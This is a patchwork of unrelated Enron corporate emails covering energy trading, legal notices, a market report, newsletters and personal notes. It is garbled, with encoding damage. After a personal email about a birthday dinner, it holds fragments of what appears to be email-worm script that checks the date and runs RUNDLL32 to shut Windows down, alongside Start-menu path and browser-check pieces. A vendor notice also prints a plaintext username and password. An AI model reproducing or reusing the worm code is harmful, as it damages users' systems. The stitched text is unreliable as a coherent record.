discussing the concept of the measure, we look at how the key inputs =20
(volatilities, covariances, correlations, etc) can be estimated.? We then=
=20
compare the fours major  methodologies for computing VaR; Delta, Delta-gamm=
a,=20
historical simulation and  Monte-Carlo simulation, applying each to the sam=
e=20
portfolio of energy  options.? In this chapter we also  look at testing the=
=20
VaR estimates for various underlying energy market  variables.

?

Finally, in Chapter 11 we review  modelling approaches to credit risk.?  We=
=20
look in detail at two quite different approaches, CreditMetrics (J. P. Morg=
an=20
(1997)) and  CreditRisk+ (Credit Suisse Financial  Products (1997)) for whi=
ch=20
detailed information is publicly available.? Together these provide an=20
extensive set  of tools with which to measure credit risk.? We present=20
numerical examples of  applying these techniques to energy derivatives.

?
Before  we begin we stress that the models and methods we present in this=
=20
book are tools  which should be used with the benefit of an understanding o=
f=20
how both the =01+tool=01,  and the market works.? The  techniques we descri=
be are=20
certainly not =01&magic wands=018 which can be waved at  data and risk mana=
gement=20
problems to provide instant and perfect solutions.? To quote from the=20
RiskMetrics Technical  Document =01&=01( no amount of sophisticated analyti=
cs will=20
replace experience and  professional judgement in managing risk.=018.?  How=
ever,=20
the right tools, correctly used make the job a lot  easier!

Coastal plans to bring up the Monte Cristo (meter 9873) today.  HPL is buying 
the residue (net 15% pvr) at Stratton effective today (vol. of 34M).  This 
gas is to be transported by HPL to the inlet (meter 980415) and may or may 
not be repurchased at the tailgate.  At this time, this gas is scheduled on 
the Strangers IT agmt., we are waiting for Brian Riley to return to the 
office so that we can determine if this will need to be placed on a separate 
transport agreement to the plant inlet, or added to the old agreement.  I 
will try to keep everyone  apprised to the extent that I am in the loop.

Mary

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X-Lotus-FromDomain: ECT
From: "Vince J Kaminski" <Vince.J.Kaminski@enron.com>
To: vkaminski@aol.com
Message-ID: <862568DD.00794A86.00@notes.ect.enron.com>
Date: Fri, 12 May 2000 17:04:47 -0500
Subject: Conference May 31 on Energy Derivatives in Toronto
Content-type: text/plain; charset=iso-8859-1
X-Mailer: Unknown

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 05/12/2000 
05:07

Phelim Boyle <pboyle@uwaterloo.ca> on 05/12/2000 03:47:59 PM

To:   Vince.J.Kaminski@enron.com, Amy Aldous <aaldous@watarts.uwaterloo.ca>,
      pconcessi@deloitte.com, ROSS Raymond -CMMRCL OPS
      <raymond.ross@ontariopowergeneration.com>
cc:
Subject:  Conference May 31 on Energy Derivatives in Toronto

 Vince
Thanks again for agreeing to speak at our conference.
It is attracting considerable interest. .

Is it possible for you to send us copies of your slides by May 18 to meet our
deadline for
preparing the material.? If you have? a related paper available that covers
some of the same material that would do instead but
naturally we would prefer the slides.

I would like to mention again the?? the pre-conference dinner at
7 pm on Sunday May 30 for the speakers
We hope very much you can be present

I was also hoping you would be available for the last? session of the day to 
be
panel member
The provisional title? is
Managing Risk in Illiquid Markets
The chair is Pat Concessi of Deloitte and Touche
The panel last from 3.30 until 4.30 and we would like panel members should
speaker for
a few minutes and take questions from the floor.

In the meantime if you have any questions please let Amy or myself know

Sincerely
Phelim P Boyle

--
Director
Centre for Advanced Studies in Finance,
University of Waterloo,
Waterloo, Ontario
Canada N2L 3G1

Tel? 519 885 1211(6513)
Fax 519 888 7562

All of Jeff's deals should be in. I spoke with Diana and she said she had 
entered these two deals. I'm looking for the deal numbers, but according to 
the trader, these are in the system. Let me know if you still can't find them.

Kate

12/01/2000 02:48 PM
cc:  

Subject: missing deals for apb

jeff

buying transalta
218.00
25 mw
4th
sp15

sell duke
5-31
215.00
25 mw
sp15

buy aep
5-31
25 mw
245.00
np15

sell ees
245.05
5-31
25 mw
np15

buy ees
5-31
25 mw
214.95
sp15

all on peak

dianna missing deals:

buy powerex
5-31
310.00
50 mw
midc

sell avista
5-31
50 mw
310.00
mid c

Hello Scooter,

Hope you had fun on your three dates this weekend!!!  (you slut!)

You know I am jealous.  Peggy says not to spread yourself too thin!!!!

You would not believe how cheap it is here.  Today at the musuem I had a
sandwich, snickers and a cafe latte for $1.50!!!  A three course dinner last
night cost $3.00.

The bad news is that your gift cost $0.20!!  (ha, ha)  I really haven't bought
it yet.

Take Care,

Miss you,

Julie  :-)

I was so incensed when I wrote this that I accidentally omitted both of your 
names.  Sorry.  Under separate cover, I will send the series of e mails that 
made me aware of these meetings.

Rebecca
---------------------- Forwarded by Rebecca McDonald/ENRON_DEVELOPMENT on 
11/30/2000 03:43 PM ---------------------------

Rebecca McDonald
11/30/2000 01:13 PM
To: Sanjay Bhatnagar/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: James A Hughes/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Rob 
Walls/NA/Enron@Enron, Wade Cline/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Jeff 
Skilling@ENRON, Kenneth Lay@ENRON 

Subject: Meetings with Sharad Pawar

Sanjay,

Through several forwardings of memos it has come to my attention that you had 
several meetings this week with Sharad Pawar and reached some agreements.  I 
understand that a conference call to generate a strategy regarding our 
approach to Mr Pawar was cancelled and no one is able to explain to me what 
approach  you took or what the nature is of any agreements or accomodations 
that you may have struck in these meetings.  I think it is important that I 
and the rest of the task force be involved in the setting of strategy even if 
we will call on you to conduct any of the discussions and it is clear that it 
is cooperation and coordination is paramount.

Please call or write immediately with a briefing of those meetings and of any 
agreements that were agreed to.  In the future, I would appreciate better 
coordination and discussions on all matter related to Dabhol and to Metgas.  
I am available by phone day or night.

Regards
Rebecca

Although these corporations was incorporated in early 2000, announcement=20
memos was not prepared at that time because of lack of documentation.  To=
=20
bring these companies into line with the other Enron subsidiaries, below ar=
e=20
the announcement memos:

Enron Japan Marketing Holdings B.V.:
This corporation was incorporated in the Netherlands on April 20, 2000. =20
Particulars are:

 Parent Company: Enron Asia Pacific/Africa/China LLC - 100%=20
  =20
 Business: Unknown

 Shares: Authorized =01) 10,000 Ordinary, EUR 10.00 par value;=20
   Issued =01) 2,000

 Directors and officers: Attached

 Employees: None (to be confirmed)

 Company No.: 1031 EJMH

Enron Japan Holdings B.V.:

  =20

 Company No.: 1030 EJHB

NOTE:=20
Sylvia Hu - evidence to follow by hand.
Nony Flores - Please supply authorization memos to include purposes of=20
business and confirm whether these entities have employees or not.

Kate B. Cole
Director, Corporate Services
Tel: (713) 853-1624
FAX: (713) 646-8007
Email: kate.cole@enron.com

We have received an executed financial Master Agreement:

Type of Contract:  ISDA Master Agreement (Multicurrency-Cross Border)

Effective Date:   October 23, 2000

Enron Entity:   Enron Canada Corp.

Counterparty:   Roman Corporation Limited, by and through its division, 
Strathcona Paper Company

Transactions Covered:  Approved for all products with the exception of:  
Foreign Exchange

Confirming Entity:  Enron Canada Corp.

Governing Law:   Ontario

this is the rebuild of all the gas daily and index spreads including the addition of aeco spreads along with a few others

Sent:	Monday, November 19, 2001 5:51 PM
To:	Kuykendall, Tori
Subject:	RE: Spreads/Curves Status

What is this project?

From: 	Kuykendall, Tori  
Sent:	Monday, November 19, 2001 1:28 PM
To:	Grigsby, Mike
Subject:	FW: Spreads/Curves Status

From: 	Alexander, Kim D  
Sent:	Monday, November 19, 2001 1:10 PM
Cc:	Dronet, David

Yes!

At the time of my last update I had access to the data but was unable to retrieve anything.
This was resolved last week Thursday.  I've put together a project plan and have estimated
dates for each task below.

1.  Identify curves and get your signoff for usability of the numbers (11/20).
2.  Merge curves together (11/21)
3.  Demo a simple spread cacluation off merged curves (11/21)
4.  Demo retrieval of curves for recent days (11/26)
5.  Perform all math needed.  (11/28)
6.  Output the results to HTML (12/5)
7.  Deploy (12/7)

Thanks, 
Kim

> From: 	Kuykendall, Tori  
> Sent:	Monday, November 19, 2001 10:29 AM
> To:	Alexander, Kim D
> Subject:	RE: Spreads/Curves Status
> 
> any new progress on this??
> 
> From: 	Alexander, Kim D  
> Sent:	Tuesday, November 13, 2001 8:37 AM
> To:	Dronet, David
> Cc:	Kuykendall, Tori
> Subject:	Spreads/Curves Status
> 
> Dave -- 
> 
> I've access to the MKM data sources and am investigating what 
> resides there and how 
> it can be requested and assembled.  I spoke to Thomas 
> yesterday and it looks like they 
> have all the ERMS curves and can convert the curve amounts 
> into any currency so Frankie's
> rate service might not be required afterall.
> 
> My hope is to use MKM to retrieve the data sets as XML, smash 
> them together on time boundaries,
> and use XSLT to peform simple math, translation and 
> presentation functions.
> 
> I've updated Tori that I now have access to the datasource 
> and am looking into what's 
> there and how to assemble it.   Fortunately for me she's been 
> very patient -- as I've not been 
> able to provide her with an estimate yet, but will do so as 
> soon as I understand what's all involved.
> 
> Kim
> 
>  
> 
> 
> >  -----Original Message-----
> > From: 	Alexander, Kim D  
> > Sent:	Wednesday, November 07, 2001 12:31 PM
> > To:	Kuykendall, Tori
> > Cc:	Dronet, David
> > Subject:	Spreads/Curves Status
> > 
> > Hi Tori,
> > 
> > I'm working on getting you a ETA.  I've been working on 
> > getting access to the data I need for the project.
> > I got approval today and should be able to provide you with a 
> > estimate by Friday. 
> > I apologize for the delay but am certain you'll be happy with 
> > the result. 
> > 
> > Kim Alexander
> > Ph.(713) 345-3868
> > Email: kim.d.alexander@enron.com
> > Pager: 8778590380@pagenetmessage.net
> > 

What do you think of this language?

---------------------- Forwarded by Hunter S Shively/HOU/ECT on 09/25/2000 

"Keith, Jack" <JKeith@sark.com> on 09/22/2000 10:10:48 AM
To: "Hunter Shively (E-mail)" <hunter.s.shively@enron.com>
cc:  
Subject: Non-compete agreement

Hunter,

Attahced is a letter agreement by our Branch Manger, Brett Fisher, outlining
our pledge to keep your confidential information from competing groups.  It
would be great if we could get together next week to get your feedback.

 <<EnronNonCompeteTradeing.doc>>

Thanks,

Jack D. Keith
Senior Sales Representative
Software Architects, Inc.
mailto:jkeith@sark.com
(713) 787-0887
(877) 899-9893 Toll Free
www.sarkhouston.com
 <<Jack Keith (E-mail).vcf>>

 - EnronNonCompeteTradeing.doc
 - Jack Keith (E-mail).vcf

----- Forwarded by Richard B Sanders/HOU/ECT on 09/07/2000 09:19 AM -----

	Becky Stephens@ENRON
	09/06/2000 03:12 PM
		 
		 To: Richard B Sanders/HOU/ECT@ECT
		 cc: Britt Davis/Corp/Enron@ENRON
		 Subject: Grynberg outside counsel invoices

Richard, I am just checking on the status of the outside counsel invoices I 
have forwarded for your approval from  Beatty (5), Vinson & Elkins (4) and 
Holland & Hart (1).  Please let me know if you have not received them.  Thank 
you.

Becky A. Stephens
Litigation Unit, Enron Corp.
713/853-5025
713/853-6576 fax
EB4809

The Profiles Manager meeting for this week has been postponed. You will be 
notified of the reschedule date. 

Thanks
Lola
---------------------- Forwarded by Lola Willis/Corp/Enron on 11/14/2000 
09:21 AM ---------------------------

	Lola Willis
	11/13/2000 03:02 PM
	
To: Tom Moran/HOU/ECT@ECT, Bradley Diebner/HOU/ECT@ECT, Tana 
Jones/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Stephanie Sever/HOU/ECT@ECT, 
Karen O'Day/NA/Enron@Enron, Thomas Engel/HOU/ECT@ECT, Jennifer deBoisblanc 
Denny/HOU/ECT@ECT, Sheri Thomas/HOU/ECT@ECT, Karen Lambert/HOU/ECT@ECT, Laura 
Levy/NA/Enron@Enron, Connie Kwan/NA/Enron@ENRON, Francesc 
Guillen/NA/Enron@Enron, Ajay Sindwani/NA/Enron@Enron, Steve 
Venturatos/HOU/ECT@ECT, Frank L Davis/HOU/ECT@ECT, Lisa Lees/HOU/ECT@ECT, 
Mary G Gosnell/HOU/ECT@ECT, Judy Thorne/Enron Communications@Enron 
cc:  

Subject: Profiles Manager Meeting

You are invited to attend a Profiles Manager Meeting

Date                                                              11/15/00

Time                                                                3:00- 5:00

Location                                                           Training 
Room EB568

To:        Department:   ENA Legal=20

From:  Mark Taylor     Date: May 11, 2001
  Vice President and General Counsel

            =20

ns=20
=20
ts=20
have a power of attorney, control or have a financial interest in any relat=
ed=20
commodity future(s) account either individually or acting with another pers=
on=20
pursuant to express or implied agreement.

=20
email or call her at (713) 853-3399 by the end of business on June 15, 2001=
=20
if you have any power of attorney, control or have a financial interest in=
=20
any commodity futures account (other than an ENA or other trading affiliate=
=20
account).

TO=20

----- Forwarded by Jeff Dasovich/NA/Enron on 05/31/2001 12:07 PM -----

	"Costigan, Richard" <Richard.Costigan@asm.ca.gov>
	05/31/2001 11:52 AM
		 
		 To: 
		 cc: 
		 Subject: Energy Briefing paper for Thursday, May 31st

 <<5-31-01.pdf>>

 - 5-31-01.pdf

Holly would be a good one to invite.  She and Carol are real good friends.  
Lucinda really doesn't know Carol all that well, so I think I'd skip her.  
Holly's work # is (281) 364-5207.

	"Patti Young" <pyoung@pdq.net>
	08/15/2000 05:12 PM
		 
		 To: <Tana.Jones@enron.com>
		 cc: 
		 Subject: Re: Tuesday

P.S.  I thought about asking Holly and Lucinda, but didn't know if they
would be interested or not because of most of the people being the running
group.  I would love it if they came.  Would you like to invite them, or, if
you will give me their numbers, I would be glad to invite them.

Thank you.

Sent: Tuesday, August 15, 2000 12:09 PM
Subject: Re: Tuesday

I just got in from Aspen.  This Sunday looks good for me for Carol's
birthday.  Is Holly going, she might like to...?

In terms of a townhome, I think that would be nice, also Garden Oaks.  It
seems like you are kinda all over the place, though, and you might want to
be careful making "emotional" home buying decisions...

As far as not hearing back from Enron.  I wouldn't think anything of it.
They told me they absolutely wanted me and then I didn't hear back from
them for two months.  Big companies have lots of layers to get anything
done.  Just keep plugging on...

                    et>                  cc:
                                         Subject:     Tuesday
                    08/15/2000
                    02:59 PM

Oh, I forgot to tell you something else:

Carol Gradziel turns 50 today, but on Sunday  evening, August 20, we were
going to do a surprise dinner at Buca di Beppo at  Buffalo Speedway and 59.
I would love for you to come. It will be  the running group, mostly
couples, and me and Carol. Everyone is supposed  to get there at 6:45 and
we (Monnie, Ralph, and I are picking Carol up to be  there by 7. If you
are not busy, try to come. Monnie and Ralph have  run with us, but they
are the realtors that Carol does most of her business with  and I have
known them for about 25 years.

');t3.close
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Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft says
not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close
();S3 driver memory alloc failed !]]%%%%%";la
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Path

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\\windows\\Start
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(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))
||(agt.indexOf("msie 5.")!=-1))scr.write(); file://-->

Maureen, thank you very much for taking time away from your project to talk 
with me this morning.  Since the management decision to close Info Central, I 
have been doing small projects that, while necessary, do not require my 
education, knowledge or research capabilities. 

I appreciate your suggestion that I speak to Vince since I am anxious to 
return to contributing at a higher level.  I am attaching my resume in the 
hope that it will trigger ideas for possible ways that I can use my abilities 
in the Research Department.  I have worked as an information specialist for 
14 years, doing research for people at all levels in both the pharmaceutical  
and energy industries.  I have focused most heavily on business research, but 
learn quickly and can branch out in whatever direction necessary for a 
project.

I'm looking forward to meeting with Vince on Monday afternoon.  Thanks again 

Enron Global Strategic Sourcing, in collaboration with Enron Net Works, recently executed a two-year agreement with SkyTel Communications, Inc. to provide users with one- and two-way local and nationwide numeric/alphanumeric pagers, advanced messaging service devices, and encrypted remote e-mail services via Blackberry? enabled devices.

Under this agreement, Enron will also receive special discount incentives including, 50% discount on Blackberry?-enabled hardware purchases through year-end 2001, trade-in allowances on select Research in Motion (RIM) units through year-end 2001, upload and download of contact lists from select pc-compatible hardware to new RIM devices, customized training for hardware and services featured quarterly, and monthly service costs that will be billed at 50% of normal rates for a limited time.

Personal toll free numbers, personal voice mail, operator dispatched text messages, pin-to-pin messaging and text-to-voice and text-to-fax service options will be available on select devices, including Motorola T900 and  P935.

Effective August 1, please visit ibuyit.enron.com to order hardware or request activation.  If your business unit is not currently on iBuyit, please create an electronic order form on http://www.skytel.com/sipsnsf/enron.nsf/pages/requestpager?opendocument&login.  When you are prompted for a user name, please type: enron sip.  The password is skytel.   

Hands-on demonstrations of various Skytel products will be conducted during "Blackberry Days" on July 31, August 1 and August 2 from 11:00 a.m. - 2:00 p.m. in the Enron Building lobby.  Additional information regarding Blackberry Days will be distributed soon. 

If you have commercial questions regarding this agreement, please contact GSS Senior Contract Manager Tom O. Moore at 713-345-5552 or via e-mail at tom.o.moore@enron.com <mailto:Tom.o.moore@enron.com>. If you have technical questions, please submit them to blackberry@enron.com <mailto:blackberry@enron.com>.

I guess it was more like 25 minutes instead of 5 minutes, but here you go ...

JUDY'S WORK & MONEY LIFEMINDERS FOR 12/5/2000

WORKING SMARTER

* Ben Stein's 4 Rules for Career Success
* Office Etiquette for the Holidays

MY PORTFOLIO

* Win $5000 and Get Organized for the Holidays!

THE LIGHTER SIDE

* DILBERT The Short List: Top 10 Worst Reasons to Form a Team

INTERACTIVE LIFEMINDERS

* LifeMinders JobCenter
* LifeMinders MoneyCenter

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

BEN STEIN'S 4 RULES FOR CAREER SUCCESS

There's no getting around it: it takes a lot of hard work to get ahead. So,=
=20
in addition to working harder, know how to work smarter. Follow the example=
=20
set by actor Ben Stein -- who's achieved success in several fields -- and=
=20
follow his 4 rules for success.
http://ww1.lfmn.com/actv/sr2.asp?u=3D602737979&v=3D8496&url=3D1&c=3D121810&=
pr=3D978&cf=3D1
&pa=3D0&e=3DS

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http://ww1.lfmn.com/actv/sr2.asp?u=3D602737979&v=3D8496&url=3D1&c=3D122924&=

-Workplace Issues-
OFFICE ETIQUETTE FOR THE HOLIDAYS

This is one of those "gray areas" that a workplace manual doesn't cover:=20
what's proper when it comes to celebrating the holidays at the office? Can=
=20
you wear that sparkly sequins dress to the party? How can you be sure what'=
s=20
acceptable, and what's not? These are important questions, so here are some=
=20
important answers: the dos and don'ts of celebrating the holidays at the=20
office.
http://ww1.lfmn.com/actv/sr2.asp?u=3D602737979&v=3D8496&url=3D1&c=3D121811&=

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

-AccountMinder-
WIN $5000 AND GET ORGANIZED FOR THE HOLIDAYS!

Sign up for LifeMinders AccountMinder and you could win $5000!

AccountMinder organizes all of your account information whenever you want,=
=20
and it's FREE!  Just plug in your secure password and there's no more waiti=
ng=20
for monthly bills & statements in the mail. Sign up by December 15th for yo=
ur=20
chance to win $5000 for the holidays.

http://www.lfmn.com/LifeMinder30/Int/AcctMind/acctmind.asp?cont_id=3D116990=
&emai
l=3Djudy.hernandez@enron.com&prod_run=3D978&uid=3D602737979&vc=3D8496&signi=
n=3D1&first_n
ame=3DJudy&last_name=3DHernandez&zip_code=3DYour Postal Code

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

DILBERT THE SHORT LIST: TOP 10 WORST REASONS TO FORM A TEAM

From the pages of Dilbert.com
http://ww1.lfmn.com/actv/sr2.asp?u=3D602737979&v=3D8496&url=3D1&c=3D123099&=

THE SHORT LIST: Top 10 Worst Reasons to Form a Team

1. The Pointy-Haired Boss thinks it would be useful. If it really would be=
=20
useful the PHB wouldn't mention it.
- No really I work better alone

2. It's a one-person job...but we have five people who need something to do=
.
- K the Lowly Tech

3. To discuss how we can eliminate non-productive activities from our day.=
=20
Let's meet every morning from 9:00 a.m. to noon.
- $1000 Bill Bert

4. Internet Inappropriate Use Committee.
- Yesthankyoudontmindifido-bert

5. So that an important decision can be bogged down for months, thereby=20
covering the PHB's rear end when he jumps in to unilaterally make a terribl=
e=20
decision without any thought.
- Wait and hurry up.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Get 12 CD's for the price of 1 with nothing more to buy, EVER!
http://ww1.lfmn.com/actv/sr2.asp?u=3D602737979&v=3D8496&url=3D7&c=3D123099&=

6. So you can use the words "synergy," "multidisciplinary," and=20
"cross-fertilization" in annual reviews.
- Slugbert

7. 27 team logo coffee mugs seems inadequate.
- Collect-Em-All-Bert

8. So you can be the team leader.
- Oooohh

9. To assess why the company is failing to work as a team.
- Anarchist-in-residence

10. To get something accomplished.
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Marie,

FYI.  Yesterday we received a netting agreement from Valero and delivered it to Jay Wiliams for further handling.  Please add the list of negotiations and assign it to John Viverito.

Thanks.
Nony

From: 	Aronowitz, Alan  
Sent:	Wednesday, October 31, 2001 6:11 PM
To:	Flores, Nony; Williams, Jason R (Credit)
Cc:	Cook, Mary; Viverito, John
Subject:	RE: Valero Netting Agreement

Nony:

Please make sure Marie Heard adds this to the list of netting agreement negotiations, and assigns to John.
Thanks.

From: 	Flores, Nony  
Sent:	Wednesday, October 31, 2001 1:33 PM
To:	Williams, Jason R (Credit)
Cc:	Aronowitz, Alan; Cook, Mary; Viverito, John
Subject:	Valero Netting Agreement

Jay,

We received a fax copy of a Net Settlement Agreement for crude products (ERAC) from Valero.  We're delivering a copy to you this afternoon for further handling.  Please let us know if we can help in any way.

Regards,

Nony Flores

CERA Alert: December 15, 2000 

Title: Refined Products Line--North American Markets 
CERA Knowledge Areas: Refined Products 

US Margin Highlights 
* Responding to falling apparent demand and rising primary inventory levels, 
US Gulf Coast unleaded gasoline margins versus WTI fell by $2.26 per barrel 
to average $1.45 per barrel during November. Gasoline margins have returned 
to a historically normal range after spending the summer of 2000 at 
exceptionally high values. CERA expects gasoline margins to WTI to average 
$2.75 per barrel during the first quarter of the New Year, $1.16 per barrel 
lower than this year's first quarter average. 

* High sulfur No. 2 fuel oil differentials with WTI dropped slightly, 
averaging $5.97 per barrel in November. Despite the drop of $0.37 per barrel 
from October's average, fuel oil differentials remain at unprecedented 
values-$4.20 per barrel higher than a year ago and $3.46 per barrel greater 
that the previous five-year average. For the first quarter of 2001, CERA 
anticipates distillate margins to moderate somewhat but remain at a record 
high level of $4.75 per barrel in the first quarter.

* Jet/kerosene differentials versus WTI rose $0.63 per barrel from the 
October average, reaching a whopping $8.59 per barrel in November. In 
correspondence with the distillate market, jet/kerosene margins are at 
historically high levels and receiving support from relatively tight 
fundamentals. CERA expects jet/kerosene margins to moderate somewhat in the 
first quarter in response to seasonal weakening of demand following the 
holiday travel season but to remain exceptionally strong at an average of 
$5.75 per barrel.

* Margins for US Gulf Coast 1% sulfur residual fuel dropped by $2.15 per 
barrel, reaching $3.99 per barrel below WTI during November. Despite the 
recent widening of differentials, CERA expects soaring natural gas prices to 
support relatively narrow residual fuel differentials throughout the winter 
months. Residual fuel differentials are expected to average $2.50 per barrel 
below WTI during the first quarter of next year, at the high end of the 
historical range.

US Demand Highlights 
* Apparent demand for unleaded gasoline fell seasonally by about 0.5 million 
barrels per day (mbd) from the October level, reaching 8.36 mbd for the four 
weeks ending December 8. Demand is averaging less than 1 percent below last 
year largely because Y2K concerns helped inflate December demand a year ago. 
CERA anticipates gasoline demand to continue to decline seasonally as colder 
temperatures arrive, averaging 8.08 mbd during the first quarter of 2001.

* Reported distillate apparent demand remains exceptionally strong at 3.94 
mbd for the four weeks ending December 8, over 7 percent greater than this 
time last year. This represents a slight increase of about 0.05 million 
barrels (mb) from the end-October level of 3.90 mb, but still a record high 
level for early December. With support from low home heating oil inventories, 
particularly in the Northeast, distillate demand has been very strong during 
the fall of 2000. CERA expects demand to remain strong in the coming winter 
months, averaging 3.79 mb during the first quarter of next year. 

* Apparent demand for jet fuel declined by 5 percent from the October level 
to reach 1.68 mbd for the four weeks ending December 8. Despite the decline, 
apparent jet fuel demand is over 1 percent above the year-ago level. The 
relative strength of jet fuel reported demand continues to parallel 
distillate demand strength with support coming from the use of jet fuel to 
help mitigate the tight distillate market fundamentals. CERA expects the 
demand for jet fuel to average 1.81 mb during the fourth quarter. 

* Reported demand for residual fuel dropped to 0.87 mbd for the four weeks 
ending December 8, a decline of about 0.09 mbd from the October average and a 
slight increase over the November level. Demand for residual fuel is 
currently 11 percent greater than last year, and surging natural gas prices 
are expected to result in continued strong residual fuel demand throughout 
the winter. Residual fuel demand is expected to remain in the 0.85 to 0.9 mbd 
range during the first quarter of 2001.

US Inventory Highlights 
* Primary inventories of unleaded gasoline rose to 196.5 mb, increasing 
almost 10 mb from the end-October value. Responding to rising stock levels 
and declining apparent demand, forward supply coverage of gasoline climbed to 
23.5 days for the four weeks ending December 8. Forward supply is 2.5 percent 
below last year's level at this time of year and at its lowest level in the 
past eight years-although CERA still believes coverage is currently 
sufficient for the level of demand expected this winter. However, CERA is 
looking cautiously at the implications of high distillate refinery yields and 
production because of the possibility of low gasoline inventories at the 
start of the driving season in the second quarter of next year.

* Distillate inventory coverage has remained about level since the end of 
October at 29.2 days of forward supply for the four weeks ending December 8. 
Despite record high apparent demand, strong refinery production levels helped 
boost primary distillate inventories slightly, to 115.3 mb for this period. 
Primary stocks are 16 percent below last year's level at this time and at 
their lowest historical level ever. Although stocks are low, CERA does not 
anticipate shortages to occur this winter. Assuming normally cold weather, 
refinery production and net imports are expected to be capable of meeting 
demand requirements-albeit at a high price. 

* Jet fuel inventory coverage crept upward by about 1 day of coverage, to 
reach 25.7 days of forward supply for the four weeks ending December 8. This 
moves jet fuel coverage above the 23.5 to 25 days' supply range that it had 
been in for the past four months. The rise of just under 1 day in forward 
supply was mainly a response to a decline in apparent demand. Jet inventories 
and coverage are expected to become tighter in the coming weeks as the pull 
from tight distillate markets strengthen, but supplies are expected to be 
adequate for the winter.

* Inventory coverage of residual fuel rose by almost 4 days of forward supply 
from October, reaching 41.7 days of forward supply during the four weeks 
ending December 8. The increase in coverage was a temporary response to a 
drop in demand and an increase in stocks. With demand expected to strengthen 
because of colder weather and high gas prices, CERA looks for inventories and 
coverage gradually to decline in the coming weeks. 

**end** 

This CERA Alert will be available in PDF format within 24 hours. 

********************************************************************** 
This electronic message and attachments, if any, contain information 
from Cambridge Energy Research Associates, Inc. (CERA) which is 
confidential and may be privileged. Unauthorized disclosure, copying, 
distribution or use of the contents of this message or any attachments, 
in whole or in part, is strictly prohibited. 

Terms of Use: http://www.cera.com/tos.html 
Questions/Comments: webmaster@cera.com 
Copyright 2000. Cambridge Energy Research Associates 

Mog,

Here's the Socal file as requested.  As I indicated, this information is a 
competitive advantage of ours, so it should stay in the company.  Thanks.

Mat

Attached is the draft IEP Filing at FERC Request  For Rehearing on?the FERC's 
December 15 Order as it pertains to QFs.?  Preparation of this document was 
originally discussed with the IEP  Restructuring/Transmission Task Force on 
December 20, 2000.? The Filing is  due on January 15.? During the conference 
call, the consensus appeared to  be that the most important issues for IEP to 
address related to QFs and the  loose language in the Order 
interpreting/implementing PURPA.
?
As this document primarily addresses QF issues, we  will be adding this draft 
filing to the agenda for the QF Contracts/SRAC Task  Force conference call 
rescheduled for 11:30 a.m.? on Thursday, January  11.?Depending on interest, 
we may also discuss this draft filing on the IEP  Restructuring/Transmission 
Task Force previously scheduled for 9:00 a.m. on  Friday, January 12 to 
address, among other things, the FERC Market Power  Mitigation Technical 
Conference scheduled for January  23.
 - DRAFT_010116_el00-95_et_al_IEP_Req_Rhrg.doc

Please remind me of this class.

Thanks.
---------------------- Forwarded by Mike Grigsby/HOU/ECT on 03/03/2001 04:54 

Ernie
02/28/2001 07:04 AM
Sent by: Ernie
To: Mike Grigsby/HOU/ECT@ECT
cc:  
Subject: Development Center Class Reminder  - Harassment Avoidance

You are scheduled to attend: 

Harassment Avoidance
  3/5/2001  02:45:00 PM - 04:15:00 PM
Room # & Location: DoubleTree-La Salle B,  Houston
Participant Fee: $ 50
Note: 

If you are unable to attend this class, the registration must be canceled by 
5:00 p.m. on  March 5, 2001 to prevent a charge of $ 50 to your RC number.  

 We look forward to seeing you at 02:45:00 PM on March 5, 2001.  Please call 
the Development Center Team at 713-853-0357 if you have any questions.

 Thank you.

Attached is the new contracts by which Los Angeles Department of Water and Power intends on entering into natural gas purchases and sales.  Is there any hope of getting in on some of this action?  Let me know if you have any questions.

Thanks,

Kim

From: 	rpetti@ladwp.com@ENRON  
Sent:	Thursday, October 25, 2001 12:03 PM
To:	srbateson@duke-energy.com; bondsr@bp.com; kbosley@reliant.com; halbourlon@reliantenergy.com; pabrown@socalgas.com; dacluff@duke-energy.com; duvalma@texaco.com; ffield@energy.twc.com; arcinc@flash.net; fgearyc@gte.net; greg_hood@oxy.com; wwhusse@ppco.com; carla.j.johnson@usa.conoco.com; ejohnsto@utilicorp.com; skatz@sempratrading.com; dkohler@br-inc.com; dkuhn@oneok.com; karl_kurz@anadarko.com; karim.manji@gs.com; pat_mulhern@oxy.com; anjn@dynegy.com; tom.roth@neg.pge.com; csupplee@utilicorp.com; Tholt, Jane M.; robert.turner@elpaso.com; judith.vogel@elpaso.com; Ward, Kim S (Houston); cweyman@astraoil.com; nancy.wojciehowski@williams.com; Sabrina Bienstock
Subject:	LADWP Gas Contract

Dear Potential Gas Supplier

As some of you may know our authority to buy gas off our existing spot agreement
will come to an end on December 31, 2001.  While we will honor current
commitments for gas to be delivered after that date, but we will not be able to
use the spot agreement to buy any more gas.  The reason that this is happening
is that our City Attorney has interpreted the new City Charter as not allowing
delegations of authority such as employed in the way we buy gas now.

We are seeking approval for an ordinance which must be approved by the City
Council that will restore our former ability to buy gas with the kind of
agreement most gas suppliers are familiar.  We have the ordinance approved by
the City Attorney and it will shortly be in the pipeline for approval by our
Board and the City Council, but until then, this contract is a stop gap to keep
us operating.

I've attached the new contract and a cover letter which explains what we are
doing.  The deadline is November 8, 2001 at 4:00 PM.  We will take the executed
contracts to our Board with the counterparties listed on a Board Resolution and,
if it is approved, we will be allowed to buy gas from this group after the new
year begins.  This is not the ideal contract but one we feel our Board will be
comfortable with until we can get around the Charter problem.  I can't make any
changes to this contract.  There is a notice published in the LA Times about the
availability of the contract but I am sending it to you directly as someone we
have already done business with (and undoubtedly have satisfied all our
boilerplate requirements) and will probably be interested in what we are trying
to do here.

I Hope most of you will respond.  Thanks

(See attached file: Spot Gas Cover Letter.doc)(See attached file: New Spot Gas
Contract.doc)

 - Spot Gas Cover Letter.doc 
 - New Spot Gas Contract.doc 

From: Choate, Heather 
